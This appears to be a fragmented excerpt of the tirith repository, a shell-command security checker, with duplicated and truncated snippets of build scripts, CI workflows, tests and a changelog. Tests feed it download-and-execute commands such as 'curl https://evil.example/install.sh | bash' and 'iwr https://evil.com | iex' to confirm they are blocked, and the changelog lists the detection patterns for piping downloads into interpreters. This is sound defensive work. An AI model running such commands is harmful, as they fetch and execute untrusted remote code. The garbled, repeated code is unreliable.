sheeki03/tirith

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

&& rm -rf /var/lib/apt/lists/* \

Executable file

#!/usr/bin/env python3

#!/usr/bin/env python3

EXPECTED_KEYS = {"version", "sha256", "size", "url", "signature"} ASSET_URL = re.compile(     r"https://github\.com/sheeki03/tirith/releases/download/"

ASSET_URL = re.compile(     r"https://github\.com/sheeki03/tirith/releases/download/"     r"(?:threatdb-latest|threatdb-current)/"

r"https://github\.com/sheeki03/tirith/releases/download/"

decoded_signature = base64.b64decode(signature, validate=True)

#!/usr/bin/env bash

rm -rf -- "$STAGING_DIR"

# The bounded registry snapshot is the last networked step and, unlike one git # or curl fetch, it is a sequence of up to 1,000 metadata requests: the

# or curl fetch, it is a sequence of up to 1,000 metadata requests: the

run_fetch git clone --depth 1 --filter=blob:none --sparse --no-checkout \   https://github.com/ossf/malicious-packages.git \

https://github.com/ossf/malicious-packages.git \

run_fetch git clone --depth 1 --filter=blob:none --sparse --no-checkout \   https://github.com/DataDog/malicious-software-packages-dataset.git \

https://github.com/DataDog/malicious-software-packages-dataset.git \

run_fetch git clone --depth 1 --filter=blob:none --sparse --no-checkout \   https://github.com/ecosyste-ms/typosquatting-dataset.git \

https://github.com/ecosyste-ms/typosquatting-dataset.git \

run_fetch curl -sSfL --retry 2 --retry-connrefused --retry-max-time 240 \

--max-time "$CURL_MAX_TIME_SECONDS" \   --max-filesize "$FEODO_MAX_BYTES" \   https://feodotracker.abuse.ch/downloads/ipblocklist.txt \

--max-filesize "$FEODO_MAX_BYTES" \   https://feodotracker.abuse.ch/downloads/ipblocklist.txt \   -o "$STAGED_SOURCES/feodo.txt"

https://feodotracker.abuse.ch/downloads/ipblocklist.txt \

run_fetch curl -sSfL --retry 2 --retry-connrefused --retry-max-time 240 \

--max-time "$CURL_MAX_TIME_SECONDS" \   --max-filesize "$CISA_KEV_MAX_BYTES" \   https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \

--max-filesize "$CISA_KEV_MAX_BYTES" \   https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \   -o "$STAGED_SOURCES/cisa-kev.json"

https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \

assert package.get("ecosystem") in {"npm", "pypi"}     assert isinstance(package.get("name"), str) and package["name"]     assert isinstance(package.get("source_url"), str) and package["source_url"].startswith("https://")

assert isinstance(package.get("name"), str) and package["name"]     assert isinstance(package.get("source_url"), str) and package["source_url"].startswith("https://")     assert package.get("media_type") in allowed_media_types.get((package[

assert isinstance(package.get("source_url"), str) and package["source_url"].startswith("https://")

compiler_version: $compiler_version,     ossf_malicious_packages: ({       source_url: "https://github.com/ossf/malicious-packages.git",

ossf_malicious_packages: ({       source_url: "https://github.com/ossf/malicious-packages.git",       ref: $ossf_ref, commit: $ossf_commit, spdx: "CC-BY-4.0",

source_url: "https://github.com/ossf/malicious-packages.git",

} + {commit_timestamp: $ossf_commit_timestamp, pin_selected_at: $ossf_pin_selected_at}),     datadog_malicious_software_packages: ({       source_url: "https://github.com/DataDog/malicious-software-packages-dataset.git",

datadog_malicious_software_packages: ({       source_url: "https://github.com/DataDog/malicious-software-packages-dataset.git",       ref: $dd_ref, commit: $dd_commit, spdx: "Apache-2.0",

source_url: "https://github.com/DataDog/malicious-software-packages-dataset.git",

} + {commit_timestamp: $dd_commit_timestamp, pin_selected_at: $dd_pin_selected_at}),     ecosystems_typosquatting_dataset: ({       source_url: "https://github.com/ecosyste-ms/typosquatting-dataset.git",

ecosystems_typosquatting_dataset: ({       source_url: "https://github.com/ecosyste-ms/typosquatting-dataset.git",       ref: $typo_ref, commit: $typo_commit, spdx: "CC0-1.0",

source_url: "https://github.com/ecosyste-ms/typosquatting-dataset.git",

registry_version_snapshot: {       ossf_commit: $ossf_commit, retrieved_at: $registry_retrieved_at,       source_urls: ["https://registry.npmjs.org/", "https://pypi.org/pypi/"],

ossf_commit: $ossf_commit, retrieved_at: $registry_retrieved_at,       source_urls: ["https://registry.npmjs.org/", "https://pypi.org/pypi/"],       spdx: "LicenseRef-Registry-Metadata", packages: $registry_packages,

source_urls: ["https://registry.npmjs.org/", "https://pypi.org/pypi/"],

},     feodo_tracker_ipblocklist: {       source_url: "https://feodotracker.abuse.ch/downloads/ipblocklist.txt",

feodo_tracker_ipblocklist: {       source_url: "https://feodotracker.abuse.ch/downloads/ipblocklist.txt",       spdx: "LicenseRef-abuse-ch-terms", files: 1,

source_url: "https://feodotracker.abuse.ch/downloads/ipblocklist.txt",

},     cisa_known_exploited_vulnerabilities: {       source_url: "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",

cisa_known_exploited_vulnerabilities: {       source_url: "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",       spdx: "LicenseRef-US-Government-Work", files: 1,

source_url: "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",

#!/usr/bin/env python3

[Credential-related source omitted]

#!/usr/bin/env python3

trap 'rm -rf "$fixture"' EXIT

[Credential-related source omitted]

trap 'rm -rf "$fixture"' EXIT

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env bash

#!/usr/bin/env bash

trap 'rm -rf -- "$state_root"' EXIT

# script's EXIT cleanup (GNU rm can then report "Directory not empty").

if [[ "$(uname -m)" == x86_64 && ! -e /usr/bin/sudo ]]; then

set +e blocked_output=$("${runtime_env[@]}" "$tirith_bin" check --non-interactive --shell posix -- "curl https://evil.example/install.sh | bash" 2>&1)

blocked_output=$("${runtime_env[@]}" "$tirith_bin" check --non-interactive --shell posix -- "curl https://evil.example/install.sh | bash" 2>&1)

blocked_output=$("${runtime_env[@]}" "$tirith_bin" check --non-interactive --shell posix -- "curl https://evil.example/install.sh | bash" 2>&1)

#!/usr/bin/env python3

self.problems({                 "README.md": "# Top\n\nSee [guide](docs/guide.md#first-step), "                 "[dir](docs/), [web](https://example.invalid/x) and [here](#top).\n",

"README.md": "# Top\n\nSee [guide](docs/guide.md#first-step), "                 "[dir](docs/), [web](https://example.invalid/x) and [here](#top).\n",                 "docs/guide.md": "# Guide\n\n## First step\n\n[back](../README.md)\n",

"[dir](docs/), [web](https://example.invalid/x) and [here](#top).\n",

#!/usr/bin/env bash

trap 'rm -rf -- "$TEST_ROOT"' EXIT

printf 'malicious_package,target_package,ecosystem,registry,classification,source\n' > "$destination/typosquats.csv"     for index in $(seq 1 100); do       printf 'bad-%d,good-%d,npm,https://npmjs.org,other,fixture\n' "$index" "$index" >> 

for index in $(seq 1 100); do       printf 'bad-%d,good-%d,npm,https://npmjs.org,other,fixture\n' "$index" "$index" >> "$destination/typosquats.csv"     done

printf 'bad-%d,good-%d,npm,https://npmjs.org,other,fixture\n' "$index" "$index" >> "$destination/typosquats.csv"

cat > "$output" <<JSON {"schema_version":2,"ossf_commit":"54642f7ee96e780b046660519b028fefb635375a","retrieved_at":"$retrieved_at","packages":[ {"ecosystem":"npm","name":"fake-live","source_url":"https://registry.npmjs.org/fake-live","media

{"schema_version":2,"ossf_commit":"54642f7ee96e780b046660519b028fefb635375a","retrieved_at":"$retrieved_at","packages":[ {"ecosystem":"npm","name":"fake-live","source_url":"https://registry.npmjs.org/fake-live","media_type":"application/vnd

{"ecosystem":"npm","name":"fake-live","source_url":"https://registry.npmjs.org/fake-live","media_type":"application/vnd.npm.install-v1+json","http_status":200,"resolution":"registry_versions","response_sha256":"11111111111111111111111111111

{"ecosystem":"npm","name":"fake-binary-label","source_url":"https://registry.npmjs.org/fake-binary-label","media_type":"application/octet-stream","http_status":200,"resolution":"registry_versions","response_sha256":"333333333333333333333333

{"ecosystem":"npm","name":"fake-gone","source_url":"https://registry.npmjs.org/fake-gone","media_type":"application/json","http_status":404,"resolution":"package_not_found","response_sha256":"222222222222222222222222222222222222222222222222

cat > "$FAKE_BIN/curl" <<'EOF'

;;     --connect-timeout=*|--max-time=*|--max-filesize=*)       echo "curl long-option values must be separate arguments: $1" >&2

--connect-timeout=*|--max-time=*|--max-filesize=*)       echo "curl long-option values must be separate arguments: $1" >&2       exit 64

echo "curl long-option values must be separate arguments: $1" >&2

exit 64       ;;     http://*|https://*)

;;     http://*|https://*)       url=$1

http://*|https://*)

;;     *)       echo "unexpected curl argument: $1" >&2

*)       echo "unexpected curl argument: $1" >&2       exit 64

echo "unexpected curl argument: $1" >&2

chmod +x "$FAKE_BIN/git" "$FAKE_BIN/curl" "$FAKE_BIN/timeout" \

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env bash

#!/usr/bin/env bash

trap 'rm -rf "$fixture"' EXIT

#!/usr/bin/env python3

#!/usr/bin/env bash

trap 'rm -rf -- "$TEST_ROOT"' EXIT

cat > "$TEST_ROOT/base.json" <<EOF {"version":100,"sha256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":1000,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatdb-100-1.dat"

{"version":100,"sha256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":1000,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatdb-100-1.dat","signature":"$SIGNATURE"}

EOF cat > "$TEST_ROOT/forward.json" <<EOF {"version":101,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-current/tirith-threatdb-10

cat > "$TEST_ROOT/forward.json" <<EOF {"version":101,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-current/tirith-threatdb-101-1.

{"version":101,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-current/tirith-threatdb-101-1.dat","signature":"$SIGNATURE"}

EOF cat > "$TEST_ROOT/regression.json" <<EOF {"version":99,"sha256":"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc","size":999,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatdb-99

cat > "$TEST_ROOT/regression.json" <<EOF {"version":99,"sha256":"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc","size":999,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatdb-99-1.d

{"version":99,"sha256":"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc","size":999,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatdb-99-1.dat","signature":"$SIGNATURE"}

EOF cat > "$TEST_ROOT/equivocation.json" <<EOF {"version":100,"sha256":"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd","size":1000,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatd

cat > "$TEST_ROOT/equivocation.json" <<EOF {"version":100,"sha256":"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd","size":1000,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatdb-10

{"version":100,"sha256":"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd","size":1000,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatdb-100-1.dat","signature":"$SIGNATURE"}

EOF cat > "$TEST_ROOT/duplicate.json" <<EOF {"version":101,"version":102,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tir

cat > "$TEST_ROOT/duplicate.json" <<EOF {"version":101,"version":102,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-

{"version":101,"version":102,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/threatdb-latest/tirith-threatdb-101-1.dat","signature":"$SIGNAT

EOF cat > "$TEST_ROOT/foreign-release.json" <<EOF {"version":101,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/untrusted/tirith-threatdb-1

cat > "$TEST_ROOT/foreign-release.json" <<EOF {"version":101,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/untrusted/tirith-threatdb-101-1

{"version":101,"sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","size":1001,"url":"https://github.com/sheeki03/tirith/releases/download/untrusted/tirith-threatdb-101-1.dat","signature":"$SIGNATURE"}

#!/usr/bin/env python3

original = copy.deepcopy(self.documents)         mutations = [             ("threatdb-manifest.json", {"version": 6, "url": "https://example.invalid/other.dat"}),

mutations = [             ("threatdb-manifest.json", {"version": 6, "url": "https://example.invalid/other.dat"}),             ("threatdb-manifest.json", {"version": 7.0}),

("threatdb-manifest.json", {"version": 6, "url": "https://example.invalid/other.dat"}),

Executable file

#!/usr/bin/env python3

Executable file

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

def refusal(status: int) -> urllib.error.HTTPError:             return urllib.error.HTTPError(                 "https://api.github.com/x", status, "refused", {}, None

return urllib.error.HTTPError(                 "https://api.github.com/x", status, "refused", {}, None             )

"https://api.github.com/x", status, "refused", {}, None

response = io.BytesIO(b'{"ok":true}')         response.status = 200         limited = urllib.error.HTTPError("https://api.github.com/x", 429, "limited", {"Retry-After": "0"}, None)

response.status = 200         limited = urllib.error.HTTPError("https://api.github.com/x", 429, "limited", {"Retry-After": "0"}, None)         with patch.object(PINS.urllib.request, "urlopen", side_effect=[limited, response]) as opener, pat

limited = urllib.error.HTTPError("https://api.github.com/x", 429, "limited", {"Retry-After": "0"}, None)

#!/usr/bin/env python3

#!/usr/bin/env python3

[Credential-related source omitted]

headers["Authorization"] = f"Bearer {self.token}"         request = urllib.request.Request(             f"https://api.github.com{endpoint}", headers=headers

request = urllib.request.Request(

f"https://api.github.com{endpoint}", headers=headers

raise PinError("GitHub observation transport exceeded overall 120s deadline")             try:                 with urllib.request.urlopen(request, timeout=min(30, remaining)) as response:

try:                 with urllib.request.urlopen(request, timeout=min(30, remaining)) as response:                     if response.status != 200:

with urllib.request.urlopen(request, timeout=min(30, remaining)) as response:

[Credential-related source omitted]

return {         "ahead_by": ahead_by,         "compare_url": f"https://github.com/{repository}/compare/{base}...{head}",

"ahead_by": ahead_by,         "compare_url": f"https://github.com/{repository}/compare/{base}...{head}",         "files_returned": len(files),

"compare_url": f"https://github.com/{repository}/compare/{base}...{head}",

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env bash

trap 'rm -f -- "$file_list"' EXIT

trap 'rm -f -- "$file_list" "$link_list"' EXIT

#!/usr/bin/env python3

PRIMARY = "https://raw.githubusercontent.com/sheeki03/tirith/main/" FALLBACK = "https://github.com/sheeki03/tirith/releases/download/threatdb-current/"

FALLBACK = "https://github.com/sheeki03/tirith/releases/download/threatdb-current/"

signature = base64.b64decode(encoded, validate=True)

def fetch(url, limit):

output = Path(temporary) / "response"         subprocess.run([             "curl", "-sSfL", "--proto", "=https", "--proto-redir", "=https",

subprocess.run([             "curl", "-sSfL", "--proto", "=https", "--proto-redir", "=https",             "--connect-timeout", "15", "--max-time", "120", "--max-filesize", str(limit),

Executable file

environment = $plan.Environment; cargo_arguments = $plan.CargoArguments;         sources = @(             'https://clang.llvm.org/docs/UsersManual.html#clang-cl',

sources = @(             'https://clang.llvm.org/docs/UsersManual.html#clang-cl',             'https://lld.llvm.org/windows_support.html',

'https://clang.llvm.org/docs/UsersManual.html#clang-cl',

'https://lld.llvm.org/windows_support.html',

'https://docs.rs/cc/1.2.55/cc/#external-configuration-via-environment-variables',

'https://doc.rust-lang.org/cargo/reference/environment-variables.html',

'https://github.com/actions/runner-images/blob/main/images/windows/scripts/build/Install-LLVM.ps1'

Executable file

Executable file

run: rm -rf -- target/criterion

run: sudo apt-get update && sudo apt-get install --yes fish zsh

# this pin was taken.           fetched=0           for host in "https://ftp.gnu.org/gnu/bash" "https://mirrors.kernel.org/gnu/bash"; do

fetched=0           for host in "https://ftp.gnu.org/gnu/bash" "https://mirrors.kernel.org/gnu/bash"; do             if curl -fsSL --retry 3 --retry-delay 5 -o "$tarball" "${host}/${tarball}"; then

for host in "https://ftp.gnu.org/gnu/bash" "https://mirrors.kernel.org/gnu/bash"; do             if curl -fsSL --retry 3 --retry-delay 5 -o "$tarball" "${host}/${tarball}"; then               echo "fetched ${tarball} from ${host}"

if curl -fsSL --retry 3 --retry-delay 5 -o "$tarball" "${host}/${tarball}"; then

run: sudo apt-get update && sudo apt-get install --yes fish zsh

curl --proto '=https' --tlsv1.2 -fsSL \

"https://static.crates.io/crates/cargo-zigbuild/cargo-zigbuild-${CARGO_ZIGBUILD_VERSION}.crate" \

curl --proto '=https' --tlsv1.2 -fsSL \

"https://ziglang.org/download/${ZIG_VERSION}/zig-linux-x86_64-${ZIG_VERSION}.tar.xz" \

sudo apt-get update

sudo apt-get install -y gcc-aarch64-linux-gnu

sudo apt-get update

sudo apt-get install -y qemu-user-static binutils-aarch64-linux-gnu

set +e           BLOCK_OUTPUT=$(qemu-aarch64-static "$BIN" check --non-interactive \             --shell posix -- "curl https://evil.example/install.sh | bash" 2>&1)

--shell posix -- "curl https://evil.example/install.sh | bash" 2>&1)

--shell posix -- "curl https://evil.example/install.sh | bash" 2>&1)

trap 'rm -rf -- "$CAPSULE_STATE"' EXIT

set +e           block_output=$("$tmpdir/tirith" check --non-interactive --shell posix \             -- "curl https://evil.example/install.sh | bash" 2>&1)

-- "curl https://evil.example/install.sh | bash" 2>&1)

-- "curl https://evil.example/install.sh | bash" 2>&1)

rm -rf "$tmpdir"

& "$tmpdir\tirith.exe" --version           & "$tmpdir\tirith.exe" doctor           & "$tmpdir\tirith.exe" check --shell powershell -- "iwr https://evil.com | iex"

& "$tmpdir\tirith.exe" doctor           & "$tmpdir\tirith.exe" check --shell powershell -- "iwr https://evil.com | iex"           if ($LASTEXITCODE -eq 0) { exit 1 }

& "$tmpdir\tirith.exe" check --shell powershell -- "iwr https://evil.com | iex"

& "$tmpdir\tirith.exe" check --shell powershell -- "iwr https://evil.com | iex"

[Credential-related source omitted]

[Credential-related source omitted]

EXPECTED_CERT_IDENTITY: https://github.com/${{ github.repository }}/.github/workflows/release.yml@${{ github.ref }}

--source-ref "$GITHUB_REF" \               --signer-digest "$GITHUB_SHA" \               --predicate-type https://slsa.dev/provenance/v1

--signer-digest "$GITHUB_SHA" \               --predicate-type https://slsa.dev/provenance/v1           done

--predicate-type https://slsa.dev/provenance/v1

- name: Verify every published payload is signed         env:           EXPECTED_CERT_IDENTITY: https://github.com/${{ github.repository }}/.github/workflows/release.yml@${{ github.ref }}

env:           EXPECTED_CERT_IDENTITY: https://github.com/${{ github.repository }}/.github/workflows/release.yml@${{ github.ref }}         run: |

EXPECTED_CERT_IDENTITY: https://github.com/${{ github.repository }}/.github/workflows/release.yml@${{ github.ref }}

--certificate checksums.txt.pem \             --certificate-identity "$EXPECTED_CERT_IDENTITY" \             --certificate-oidc-issuer https://token.actions.githubusercontent.com \

--certificate-identity "$EXPECTED_CERT_IDENTITY" \             --certificate-oidc-issuer https://token.actions.githubusercontent.com \             checksums.txt

--certificate-oidc-issuer https://token.actions.githubusercontent.com \

version="${VERSION#v}"           for crate_name in tirith-core tirith; do             status=$(curl --proto '=https' --tlsv1.2 -sS \

for crate_name in tirith-core tirith; do             status=$(curl --proto '=https' --tlsv1.2 -sS \               --output /dev/null --write-out '%{http_code}' \

status=$(curl --proto '=https' --tlsv1.2 -sS \

-H 'User-Agent: tirith-release-ci (https://github.com/sheeki03/tirith)' \

"https://crates.io/api/v1/crates/${crate_name}/${version}")

VER="${VERSION#v}"           for attempt in $(seq 1 60); do             HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" -H "User-Agent: tirith-release-ci (https://github.com/sheeki03/tirith)" "https://crates.io/api/v1/crates/tirith-core/

for attempt in $(seq 1 60); do             HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" -H "User-Agent: tirith-release-ci (https://github.com/sheeki03/tirith)" "https://crates.io/api/v1/crates/tirith-core/${VER}")             if [ "$H

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" -H "User-Agent: tirith-release-ci (https://github.com/sheeki03/tirith)" "https://crates.io/api/v1/crates/tirith-core/${VER}")

with:           node-version: "22.17.0"           registry-url: https://registry.npmjs.org

registry-url: https://registry.npmjs.org

[Credential-related source omitted]

[Credential-related source omitted]

source_dir="${RUNNER_TEMP}/cargo-deb-source"           install_root="${RUNNER_TEMP}/cargo-deb-install"           curl --proto '=https' --tlsv1.2 -fsSL \

install_root="${RUNNER_TEMP}/cargo-deb-install"           curl --proto '=https' --tlsv1.2 -fsSL \             "https://static.crates.io/crates/cargo-deb/cargo-deb-${CARGO_DEB_VERSION}.crate" \

curl --proto '=https' --tlsv1.2 -fsSL \

"https://static.crates.io/crates/cargo-deb/cargo-deb-${CARGO_DEB_VERSION}.crate" \

test -z "$(command -v sudo || true)"

test -z "$(command -v sudo || true)"

test -z "$(command -v sudo || true)"

test -z "$(command -v sudo || true)"

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

exit 1           }           $output = & choco push $nupkg.FullName --source https://push.chocolatey.org/ --api-key $env:CHOCOLATEY_API_KEY 2>&1 | Out-String

}           $output = & choco push $nupkg.FullName --source https://push.chocolatey.org/ --api-key $env:CHOCOLATEY_API_KEY 2>&1 | Out-String           $code = $LASTEXITCODE

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

# repo-0453: --fail so an HTTP error page is never hashed as the           # "source archive"; validate the payload is a gzip stream.           URL="https://github.com/sheeki03/tirith/archive/refs/tags/${VERSION}.tar.gz"

# "source archive"; validate the payload is a gzip stream.           URL="https://github.com/sheeki03/tirith/archive/refs/tags/${VERSION}.tar.gz"           SHA=$(curl -fsSL "$URL" | tee /tmp/aur-src.tar.gz | sha256sum | cut -d' ' -f1)

URL="https://github.com/sheeki03/tirith/archive/refs/tags/${VERSION}.tar.gz"           SHA=$(curl -fsSL "$URL" | tee /tmp/aur-src.tar.gz | sha256sum | cut -d' ' -f1)           file /tmp/aur-src.tar.gz | grep -q "gzip compressed data"

SHA=$(curl -fsSL "$URL" | tee /tmp/aur-src.tar.gz | sha256sum | cut -d' ' -f1)

[Credential-related source omitted]

[Credential-related source omitted]

lease="--force-with-lease=refs/heads/$branch:$expected"           GIT_ASKPASS="$askpass" GIT_TERMINAL_PROMPT=0 \             git push "$lease" "https://github.com/$GITHUB_REPOSITORY.git" \

GIT_ASKPASS="$askpass" GIT_TERMINAL_PROMPT=0 \             git push "$lease" "https://github.com/$GITHUB_REPOSITORY.git" \             "HEAD:refs/heads/$branch"

git push "$lease" "https://github.com/$GITHUB_REPOSITORY.git" \

[Credential-related source omitted]

[Credential-related source omitted]

trap 'rm -rf "$STATE_DIR"' EXIT

rm -f -- threatdb-baseline-v2.json

[Credential-related source omitted]

download_baseline() {             local label="$1" url="$2" expected_sha="$3" expected_size="$4" output="$5"             curl -sSfL --connect-timeout 15 --max-time 120 \

local label="$1" url="$2" expected_sha="$3" expected_size="$4" output="$5"             curl -sSfL --connect-timeout 15 --max-time 120 \               --max-filesize "$expected_size" --retry 2 --retry-connrefused \

curl -sSfL --connect-timeout 15 --max-time 120 \

--generation-base-url "https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}"

[Credential-related source omitted]

rm -rf -- "$PERSISTED_STATE_DIR"

SHA=$(sha256sum "$DB_ASSET" | cut -d' ' -f1)           SIZE=$(stat -c%s "$DB_ASSET")           URL="https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}/${DB_ASSET}"

SIZE=$(stat -c%s "$DB_ASSET")           URL="https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}/${DB_ASSET}"           # PAYLOAD MUST stay byte-identical to the client's canonical_payload() in

URL="https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}/${DB_ASSET}"

[Credential-related source omitted]

trap 'rm -rf "$STATE_DIR"' EXIT

git rm threatdb-index-v2.json

V1_SIZE=$(stat -c%s "$V1_ASSET")           V2_SIZE=$(stat -c%s "$V2_ASSET")           V1_URL="https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}/${V1_ASSET}"

V2_SIZE=$(stat -c%s "$V2_ASSET")           V1_URL="https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}/${V1_ASSET}"           V2_URL="https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}/${V2

V1_URL="https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}/${V1_ASSET}"

V2_URL="https://github.com/sheeki03/tirith/releases/download/${THREATDB_RELEASE_TAG}/${V2_ASSET}"

[Credential-related source omitted]

[Credential-related source omitted]

trap 'rm -rf "$STATE_DIR"' EXIT

[Credential-related source omitted]

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),

and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

[Credential-related source omitted]

- Agent batch scripts and large heredoc file writes are analyzed in full. 0.4.2 blocked them as `analysis_incomplete` at 86 simple commands, 26 pipelines or about 2,900 heredoc lines. The limits are now 1 MiB of shell text, 16,384 words, 4,

- `tirith check` compiles its credential and environment-alias regexes only when the input can match them, which saves about 65 ms of CPU time per check with identical verdicts. - `curl -k`/`--insecure` and wget `--no-check-certificate` to 

- `curl -k`/`--insecure` and wget `--no-check-certificate` to a literal loopback address that nothing can redirect (see the upload entry under Fixed) are a Low finding, hidden at the default paranoia, instead of High, and `curl localhost:30

- Compatibility: `tirith check` rejects an option it does not know when it comes before the command (`tirith check --json --bogus -- cmd`): exit 2, clap's `error: unexpected argument '--bogus' found` on stderr and nothing on stdout. 0.4.2 t

- Compatibility: `tirith check --json` prints its normal verdict for a `TIRITH=0` bypass that policy honors: `action: "allow"`, `bypass_requested: true`, `bypass_honored: true`, `requires_approval: false`, no findings, exit 0 (schema 3, or 

- Compatibility: package-lookup gaps now use `package_lookup_incomplete` instead of `analysis_incomplete` (see Added). A policy that lowers, raises, overrides or allowlists `analysis_incomplete` to handle `pip install` / `npm install` warni

- `private_network_access` and `plain_http_to_sink` are Medium instead of High for an RFC 1918 LAN address written as a dotted quad, so `curl http://192.168.1.20:8080/health` warns instead of blocking. Piping what such a host serves into an

- `lookalike_tld` flags `.zip`, `.mov` and `.run` only. `.app` and `.dev` are ordinary developer TLDs (`web.dev`, `pkg.go.dev`) and no longer warn; such hosts are still checked by the confusable, punycode and threat-intelligence rules. - cu

[Credential-related source omitted]

[Credential-related source omitted]

- A command word whose directory is a double-quoted variable and whose file name is literal (`"$REPO_ROOT/scripts/test.sh" --fast`, `"$VIRTUAL_ENV/bin/python" -m pytest`) is analyzed by that file name instead of being blocked as an unresolv

- A command word whose directory is a double-quoted variable and whose file name is literal (`"$REPO_ROOT/scripts/test.sh" --fast`, `"$VIRTUAL_ENV/bin/python" -m pytest`) is analyzed by that file name instead of being blocked as an unresolv

- Contained `tirith pkg install`, which 0.4.x ran for `pip` on x86_64 Linux, refuses on every host with `private_input_execution_unqualified` (exit 1) before resolving or running anything; use `tirith install --no-exec` to analyze an instal

- Detect downloaded command-substitution output used as Python `-c`, Node `-e`/`--eval`, perl or ruby `-e`, or php `-r`, `-B`, `-R` or `-E` source with `interpreter_suspicious_inline_exec`, in POSIX shells and in fish (`python3 -c (curl …)`

- `interpreter_suspicious_inline_exec` reads clustered short options (`python3 -Pc`, `perl -lne`, `ruby -we`), a redirection before the command word (`2>/dev/null python3 -c …`), an inline flag joined to its program inside one quoted word (

- A download piped into the shell's `source` or `.` builtin (`curl … | source /dev/stdin`, `| . /dev/stdin`, `| source -`, fish's `curl … | source` as in the fisher installer, fish's `source (curl … | psub)`) or into a busybox or toybox she

- A download or local output piped into an interpreter behind a process wrapper is detected: `curl … | nice bash`, `| timeout 60 sh`, `| setsid bash`, `| taskset -c 0 bash`, `| ionice -c3 bash`, `| flock FILE bash`, `| chrt 10 bash` and `| 

- A download or local output piped into an interpreter behind a process wrapper is detected: `curl … | nice bash`, `| timeout 60 sh`, `| setsid bash`, `| taskset -c 0 bash`, `| ionice -c3 bash`, `| flock FILE bash`, `| chrt 10 bash` and `| 

